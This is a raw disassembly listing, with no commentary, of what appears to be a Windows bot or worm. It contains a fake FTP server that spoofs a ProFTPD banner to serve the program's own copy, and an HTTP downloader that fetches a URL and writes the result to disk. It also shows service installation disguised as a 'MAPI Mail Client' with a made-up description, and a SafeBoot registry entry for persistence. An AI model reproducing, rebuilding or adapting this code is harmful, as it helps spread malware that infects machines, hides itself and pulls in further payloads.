		mov	[ebp+var_1BC], eax
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		push	esi
		mov	eax, dword_40B0E0[eax*8]
		mov	[ebp+arg_0], eax
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		add	esp, 0Ch
		cmp	dword_40B0E0[eax*8], edi
		jz	loc_40852D
		mov	ebx, dword_401244


loc_40800E:				; CODE XREF: sub_407F46+5DCj
		push	41h
		lea	esi, [ebp+var_1C0]
		pop	ecx
		lea	edi, [ebp+var_514]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_514]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	dword_4011F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_408543
		xor	edi, edi
		cmp	[ebp+arg_0], esi
		jl	loc_40850D


loc_40804A:				; CODE XREF: sub_407F46+5C1j
		push	80h
		lea	eax, [ebp+var_290]
		push	esi
		push	eax
		call	sub_40AC10
		push	80h
		lea	eax, [ebp+var_BC]
		push	esi
		push	eax
		call	sub_40AC10
		add	esp, 18h
		lea	eax, [ebp+var_514]
		push	eax
		push	edi
		call	sub_40AE66
		test	eax, eax
		jz	loc_408503
		push	offset aFtpd	; "Ftpd"
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		cmp	edi, dword_40B0E0[eax*8]
		jnz	loc_40816A
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_1D0]
		push	eax
		push	offset aFtpd	; "Ftpd"
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	dword_40B0E0[eax*8]
		call	dword_4011F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	loc_408503
		xor	ecx, ecx
		cmp	[ebp+var_1C0], esi
		jbe	short loc_4080FA
		lea	edx, [ebp+var_1BC]


loc_4080EA:				; CODE XREF: sub_407F46+1B2j
		cmp	[edx], eax
		jz	short loc_4080FA
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_1C0]
		jb	short loc_4080EA


loc_4080FA:				; CODE XREF: sub_407F46+19Cj
					; sub_407F46+1A6j
		cmp	ecx, [ebp+var_1C0]
		jnz	short loc_408118
		cmp	[ebp+var_1C0], 40h
		jnb	short loc_408118
		mov	[ebp+ecx*4+var_1BC], eax
		inc	[ebp+var_1C0]


loc_408118:				; CODE XREF: sub_407F46+1BAj
					; sub_407F46+1C3j
		cmp	eax, [ebp+arg_0]
		jle	short loc_408120
		mov	[ebp+arg_0], eax


loc_408120:				; CODE XREF: sub_407F46+1D5j
		push	0Ah
		push	esi
		call	sub_40A818
		pop	ecx
		pop	ecx
		push	eax
		push	2
		push	esi
		call	sub_40A818
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_410]
		push	offset a220Proftpd1_D_ ; "220 ProFTPD 1.%d.%d Server (ProFTPD Def"...
		push	eax
		call	sub_40AB94
		add	esp, 10h
		lea	eax, [ebp+var_410]
		push	esi
		push	eax
		call	sub_40ABD2
		pop	ecx
		push	eax
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+var_8]
		call	ebx ; dword_401244
		jmp	loc_408503
; ---------------------------------------------------------------------------


loc_40816A:				; CODE XREF: sub_407F46+155j
		push	esi
		lea	eax, [ebp+var_290]
		push	80h
		push	eax
		push	edi
		call	dword_40123C
		test	eax, eax
		jg	short loc_4081D4
		mov	edx, [ebp+var_1C0]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_4081C8
		lea	eax, [ebp+var_1BC]


loc_408194:				; CODE XREF: sub_407F46+258j
		cmp	[eax], edi
		jz	short loc_4081A2
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_408194
		jmp	short loc_4081C8
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_407F46+250j
		dec	edx
		cmp	ecx, edx
		jnb	short loc_4081C2
		lea	eax, [ebp+ecx*4+var_1BC]


loc_4081AE:				; CODE XREF: sub_407F46+27Aj
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_1C0]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4081AE


loc_4081C2:				; CODE XREF: sub_407F46+25Fj
		dec	[ebp+var_1C0]


loc_4081C8:				; CODE XREF: sub_407F46+246j
					; sub_407F46+25Aj
		push	edi
		call	dword_401240
		jmp	loc_408503
; ---------------------------------------------------------------------------


loc_4081D4:				; CODE XREF: sub_407F46+23Aj
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		lea	eax, [ebp+var_290]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_40AC64
		lea	eax, [ebp+var_BC]
		push	offset aUser	; "USER"
		push	eax
		call	sub_40ABB2
		add	esp, 18h
		test	eax, eax
		jnz	short loc_408218
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_408218:				; CODE XREF: sub_407F46+2C3j
		lea	eax, [ebp+var_BC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40823C
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_40823C:				; CODE XREF: sub_407F46+2E7j
		lea	eax, [ebp+var_BC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408260
		push	esi
		push	12h
		push	offset a215UnixTypeL8 ;	"215 UNIX Type:	L8\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_408260:				; CODE XREF: sub_407F46+30Bj
		lea	eax, [ebp+var_BC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408284
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_408284:				; CODE XREF: sub_407F46+32Fj
		lea	eax, [ebp+var_BC]
		push	offset aPwd	; "PWD"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4082A8
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_4082A8:				; CODE XREF: sub_407F46+353j
		lea	eax, [ebp+var_BC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4082D6
		lea	eax, [ebp+var_310]
		push	offset aA_0	; "A"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4082ED


loc_4082D6:				; CODE XREF: sub_407F46+377j
		lea	eax, [ebp+var_310]
		push	offset aI	; "I"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4082FA


loc_4082ED:				; CODE XREF: sub_407F46+38Ej
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_4082FA:				; CODE XREF: sub_407F46+3A5j
		lea	eax, [ebp+var_BC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40831E
		push	esi
		push	29h
		push	offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_40831E:				; CODE XREF: sub_407F46+3C9j
		lea	eax, [ebp+var_BC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408342
		push	esi
		push	16h
		push	offset a226TransferCom ; "226 Transfer complete\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_408342:				; CODE XREF: sub_407F46+3EDj
		lea	eax, [ebp+var_BC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408416
		lea	eax, [ebp+var_390]
		push	eax
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_290]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_40AC64
		lea	eax, [ebp+var_350]
		push	eax
		call	sub_40ABAC
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_40ABAC
		mov	[ebp+var_8], eax
		push	40h
		lea	eax, [ebp+var_210]
		push	esi
		push	eax
		call	sub_40AC10
		add	esp, 34h
		lea	eax, [ebp+var_210]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_40AB94
		push	10h
		lea	eax, [ebp+var_210]
		push	esi
		push	eax
		call	sub_40AC5E
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_40AB94
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4084EB
; ---------------------------------------------------------------------------


loc_408416:				; CODE XREF: sub_407F46+411j
		lea	eax, [ebp+var_BC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4084CC
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_401244
		push	[ebp+var_4]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E2D
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_4084C2
		call	sub_407E7D
		test	al, al
		push	esi
		jz	short loc_408461
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		jmp	short loc_408468
; ---------------------------------------------------------------------------


loc_408461:				; CODE XREF: sub_407F46+510j
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"


loc_408468:				; CODE XREF: sub_407F46+519j
		push	edi
		call	ebx ; dword_401244
		inc	dword_40B270
		lea	eax, [ebp+var_2C]
		push	eax
		push	edi
		call	sub_40854A
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_409570
		pop	ecx
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	dword_40B270
		push	off_401BB0[eax]
		push	offset dword_4031F0
		call	sub_405185
		add	esp, 18h
		push	dword_40B098
		call	dword_401240
		jmp	short loc_4084EE
; ---------------------------------------------------------------------------


loc_4084C2:				; CODE XREF: sub_407F46+506j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4084EB
; ---------------------------------------------------------------------------


loc_4084CC:				; CODE XREF: sub_407F46+4E5j
		lea	eax, [ebp+var_BC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4084EE
		push	esi
		push	0Dh
		push	offset a221Goodbye_ ; "221 Goodbye.\n"


loc_4084EB:				; CODE XREF: sub_407F46+2CDj
					; sub_407F46+2F1j ...
		push	edi
		call	ebx ; dword_401244


loc_4084EE:				; CODE XREF: sub_407F46+57Aj
					; sub_407F46+59Bj
		push	80h
		lea	eax, [ebp+var_290]
		push	esi
		push	eax
		call	sub_40AC10
		add	esp, 0Ch


loc_408503:				; CODE XREF: sub_407F46+13Aj
					; sub_407F46+18Ej ...
		inc	edi
		cmp	edi, [ebp+arg_0]
		jle	loc_40804A


loc_40850D:				; CODE XREF: sub_407F46+FEj
		push	offset aFtpd	; "Ftpd"
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		cmp	dword_40B0E0[eax*8], esi
		jnz	loc_40800E
		mov	esi, offset aFtpd ; "Ftpd"


loc_40852D:				; CODE XREF: sub_407F46+BCj
		push	esi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread


loc_408543:				; CODE XREF: sub_407F46+F3j
		push	esi
		call	dword_4010EC	; ExitThread
sub_407F46	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40854A	proc near		; CODE XREF: sub_407708+61p
					; sub_407F46+530p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_40120C
		test	eax, eax
		jz	short loc_408570
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_408570:				; CODE XREF: sub_40854A+20j
		push	2
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		call	dword_401208
		test	eax, eax
		jnz	short loc_408596
		push	[ebp+var_10]
		call	dword_401220
		push	eax
		push	[ebp+arg_4]
		call	sub_40AB94
		jmp	short loc_4085A0
; ---------------------------------------------------------------------------


loc_408596:				; CODE XREF: sub_40854A+36j
		push	dword ptr [eax]
		push	[ebp+arg_4]
		call	sub_40ABA0


loc_4085A0:				; CODE XREF: sub_40854A+4Aj
		pop	ecx
		mov	al, 1
		pop	ecx
		leave
		retn
sub_40854A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085A6	proc near		; CODE XREF: sub_40785E+48p
					; sub_407BC9+38p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		mov	[ebp+var_10], 2
		call	dword_401230
		mov	[ebp+var_E], ax
		and	[ebp+var_C], 0
		lea	eax, [ebp+arg_4]
		push	4
		push	eax
		push	4
		push	0FFFFh
		mov	[ebp+arg_4], 1
		push	[ebp+arg_0]
		call	dword_401218
		test	eax, eax
		jnz	short loc_40860E
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_401214
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40860E
		cmp	[ebp+arg_8], 0
		jnz	short loc_408612
		push	0Ah
		push	[ebp+arg_0]
		call	dword_401210
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408612


loc_40860E:				; CODE XREF: sub_4085A6+3Cj
					; sub_4085A6+50j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_408612:				; CODE XREF: sub_4085A6+56j
					; sub_4085A6+66j
		mov	al, 1
		leave
		retn
sub_4085A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_408616	proc near		; CODE XREF: sub_404530+32Cp
					; sub_405185+E3p ...

arg_0		= dword	ptr  4

		push	2
		push	[esp+4+arg_0]
		call	dword_40121C
		push	[esp+arg_0]
		call	dword_401240
		retn
sub_408616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40862D	proc near		; CODE XREF: sub_4086A6+22p
					; sub_408825+1Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	7
		push	offset aHttp	; "http://"
		push	ebx
		call	sub_40AC70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408692
		lea	edi, [ebx+7]
		push	2Fh
		push	edi
		call	sub_40AC6A
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_408692
		push	ebx
		call	sub_40ABD2
		cmp	eax, 100h
		pop	ecx
		jnb	short loc_408692
		push	esi
		push	[ebp+arg_8]
		call	sub_40ABA0
		sub	esi, ebx
		lea	eax, [esi-7]
		push	eax
		push	edi
		mov	edi, [ebp+arg_4]
		push	edi
		call	sub_40AC2E
		add	esp, 14h
		and	byte ptr [esi+edi-7], 0
		mov	ax, 1
		jmp	short loc_4086A1
; ---------------------------------------------------------------------------


loc_408692:				; CODE XREF: sub_40862D+1Bj
					; sub_40862D+2Ej ...
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		xor	ax, ax


loc_4086A1:				; CODE XREF: sub_40862D+63j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40862D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4086A6	proc near		; CODE XREF: sub_408825+BDp

var_604		= byte ptr -604h
var_504		= byte ptr -504h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	ebx
		push	esi
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_604]
		push	eax
		xor	ebx, ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	sub_40862D
		add	esp, 0Ch
		test	ax, ax
		jz	loc_408821
		lea	eax, [ebp+var_104]
		push	2Fh
		push	eax
		call	sub_40AC7C
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_104]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		cmp	[ebp+arg_4], ebx
		jz	loc_408821
		push	offset aWb	; "wb"
		push	[ebp+arg_4]
		call	sub_40AC52
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	dword_40B09C, eax
		jz	loc_408821
		movzx	edi, [ebp+arg_8]
		push	ebx
		lea	eax, [ebp+var_504]
		push	400h
		push	eax
		push	edi
		call	dword_40123C
		mov	esi, eax
		cmp	esi, ebx
		jle	loc_4087F7
		mov	ebx, offset asc_403480 ; "\r\n\r\n"


loc_40874B:				; CODE XREF: sub_4086A6+14Bj
		cmp	[ebp+var_4], 0
		jnz	short loc_4087B8
		push	7
		lea	eax, [ebp+var_504]
		push	offset aHttp1_	; "http/1."
		push	eax
		call	sub_40AC70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4087D4
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		call	sub_40AB9A
		push	4
		mov	edi, eax
		pop	eax
		lea	ecx, [ebp+var_504]
		sub	eax, ecx
		push	ebx
		add	edi, eax
		lea	eax, [ebp+var_504]
		push	eax
		call	sub_40AB9A
		push	dword_40B09C
		sub	esi, edi
		add	eax, 4
		push	1
		push	esi
		push	eax
		call	sub_40AC76
		add	esp, 20h
		test	eax, eax
		jz	short loc_408821
		mov	[ebp+var_4], 1
		jmp	short loc_4087D4
; ---------------------------------------------------------------------------


loc_4087B8:				; CODE XREF: sub_4086A6+A9j
		push	dword_40B09C
		lea	eax, [ebp+var_504]
		push	1
		push	esi
		push	eax
		call	sub_40AC76
		add	esp, 10h
		test	eax, eax
		jz	short loc_408821


loc_4087D4:				; CODE XREF: sub_4086A6+C3j
					; sub_4086A6+110j
		movzx	edi, [ebp+arg_8]
		push	0
		lea	eax, [ebp+var_504]
		push	400h
		push	eax
		push	edi
		call	dword_40123C
		mov	esi, eax
		test	esi, esi
		jg	loc_40874B


loc_4087F7:				; CODE XREF: sub_4086A6+9Aj
		push	1
		push	edi
		call	dword_40121C
		push	edi
		call	dword_401240
		push	dword_40B09C
		call	sub_40AC46
		push	[ebp+arg_4]
		call	sub_40A86F
		pop	ecx
		pop	ecx


loc_40881C:				; CODE XREF: sub_4086A6+17Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408821:				; CODE XREF: sub_4086A6+2Dj
					; sub_4086A6+5Cj ...
		xor	eax, eax
		jmp	short loc_40881C
sub_4086A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408825	proc near		; CODE XREF: sub_404530+3E2p

var_210		= byte ptr -210h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	[ebp+arg_0]
		call	sub_40862D
		add	esp, 0Ch
		test	ax, ax
		jz	loc_408900
		push	50h
		mov	[ebp+var_10], 2
		call	dword_401230
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_409570
		pop	ecx
		push	eax
		call	dword_40124C
		push	6
		push	1
		push	2
		mov	[ebp+var_C], eax
		call	dword_401234
		mov	edi, eax
		lea	eax, [ebp+var_10]
		movzx	esi, di
		push	10h
		push	eax
		push	esi
		call	dword_401238
		test	eax, eax
		jnz	short loc_408900
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_110]
		push	offset aGetSHttp1_0 ; "GET %s HTTP/1.0\r\n\r\n"
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	0
		push	eax
		call	sub_40ABD2
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	dword_401244
		cmp	eax, 1
		jl	short loc_408900
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4086A6
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		push	1
		push	esi
		jnz	short loc_408904
		call	dword_40121C
		push	esi
		call	dword_401240


loc_408900:				; CODE XREF: sub_408825+27j
					; sub_408825+76j ...
		xor	eax, eax
		jmp	short loc_40894F
; ---------------------------------------------------------------------------


loc_408904:				; CODE XREF: sub_408825+CCj
		call	dword_40121C
		push	esi
		call	dword_401240
		push	dword_40B09C
		call	sub_40AC46
		cmp	[ebp+arg_C], 0
		pop	ecx
		mov	esi, offset byte_40B078
		jz	short loc_40893C
		push	esi
		push	[ebp+arg_4]
		call	sub_40A8E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40893C
		call	sub_408EAB


loc_40893C:				; CODE XREF: sub_408825+101j
					; sub_408825+110j
		cmp	[ebp+arg_8], 0
		jz	short loc_40894D
		push	esi
		push	[ebp+arg_4]
		call	sub_40A8E0
		pop	ecx
		pop	ecx


loc_40894D:				; CODE XREF: sub_408825+11Bj
		mov	eax, edi


loc_40894F:				; CODE XREF: sub_408825+DDj
		pop	edi
		pop	esi
		leave
		retn
sub_408825	endp


; =============== S U B	R O U T	I N E =======================================



sub_408953	proc near		; CODE XREF: sub_405CEC+34p
					; sub_40933F+1FCp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	offset aServicesactive ; "ServicesActive"
		push	ebx
		call	dword_40101C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408972
		xor	al, al
		jmp	short loc_408998
; ---------------------------------------------------------------------------


loc_408972:				; CODE XREF: sub_408953+19j
		push	esi
		push	0F01FFh
		push	[esp+10h+arg_0]
		push	edi
		call	dword_401020
		mov	esi, dword_401024
		cmp	eax, ebx
		jz	short loc_408992
		push	eax
		call	esi ; dword_401024
		mov	bl, 1


loc_408992:				; CODE XREF: sub_408953+38j
		push	edi
		call	esi ; dword_401024
		mov	al, bl
		pop	esi


loc_408998:				; CODE XREF: sub_408953+1Dj
		pop	edi
		pop	ebx
		retn
sub_408953	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40899B	proc near		; CODE XREF: sub_405CEC:loc_405D31p
					; sub_40933F:loc_40954Cp

var_218		= byte ptr -218h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		xor	ebx, ebx
		push	2
		push	ebx
		push	ebx
		call	dword_40101C
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_408A85
		push	esi
		push	edi
		mov	edi, 0F003Fh
		mov	esi, offset aMapi ; "MAPI"
		push	edi
		push	esi
		push	eax
		call	dword_401020
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408A7A
		push	esi
		lea	eax, [ebp+var_218]
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+var_218]
		push	ebx
		push	eax
		push	80000002h
		call	dword_401010
		test	eax, eax
		jnz	short loc_408A71
		push	2
		lea	eax, [ebp+var_10]
		pop	edi
		mov	esi, dword_401014
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aStart	; "Start"
		mov	[ebp+var_10], edi
		push	[ebp+var_4]
		call	esi ; dword_401014
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		push	ebx
		call	dword_4010C8	; GetModuleHandleA
		push	eax
		call	dword_4010D0	; GetModuleFileNameA
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4010CC	; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	edi
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	esi ; dword_401014
		push	[ebp+var_4]
		call	dword_401018


loc_408A71:				; CODE XREF: sub_40899B+70j
		push	[ebp+var_8]
		call	dword_401024


loc_408A7A:				; CODE XREF: sub_40899B+3Bj
		push	[ebp+var_C]
		call	dword_401024
		pop	edi
		pop	esi


loc_408A85:				; CODE XREF: sub_40899B+1Bj
		pop	ebx
		leave
		retn
sub_40899B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A88	proc near		; CODE XREF: sub_405CEC+3Ep
					; sub_40933F+206p

var_13C		= byte ptr -13Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		xor	esi, esi
		push	2
		push	esi
		push	esi
		call	dword_40101C
		cmp	eax, esi
		mov	[ebp+var_14], eax
		jz	loc_408C28
		push	ebx
		push	edi
		lea	eax, [ebp+var_13C]
		push	105h
		push	eax
		push	esi
		call	dword_4010D0	; GetModuleFileNameA
		test	eax, eax
		jbe	loc_408C1D
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_13C]
		push	esi
		push	eax
		push	esi
		push	2
		push	110h
		push	0F01FFh
		push	offset aMapiMailClient ; "MAPI Mail Client"
		push	offset aMapi	; "MAPI"
		push	[ebp+var_14]
		call	dword_401000
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	loc_408C1D
		mov	ebx, dword_401004
		lea	ecx, [ebp+var_20]
		push	1
		mov	[ebp+var_24], ecx
		pop	edi
		lea	ecx, [ebp+var_34]
		push	ecx
		push	2
		push	eax
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], offset aEnablesSupport ; "Enables	support	for the	Messaging Appli"...
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], edi
		call	ebx ; dword_401004
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	[ebp+var_C]
		call	ebx ; dword_401004
		push	esi
		push	esi
		push	[ebp+var_C]
		call	dword_401008
		push	[ebp+var_C]
		call	dword_401024
		mov	ebx, dword_401010
		lea	eax, [ebp+var_10]
		mov	edi, 0F003Fh
		push	eax
		push	edi
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
		push	80000002h
		call	ebx ; dword_401010
		test	eax, eax
		jnz	loc_408C1D
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	esi
		push	offset aMinimal	; "Minimal"
		push	[ebp+var_10]
		call	ebx ; dword_401010
		test	eax, eax
		mov	ebx, offset aService ; "Service"
		jnz	short loc_408BC5
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		push	esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aMapi	; "MAPI"
		push	[ebp+var_8]
		call	dword_40100C
		push	ebx
		call	sub_40ABD2
		pop	ecx
		push	eax
		push	ebx
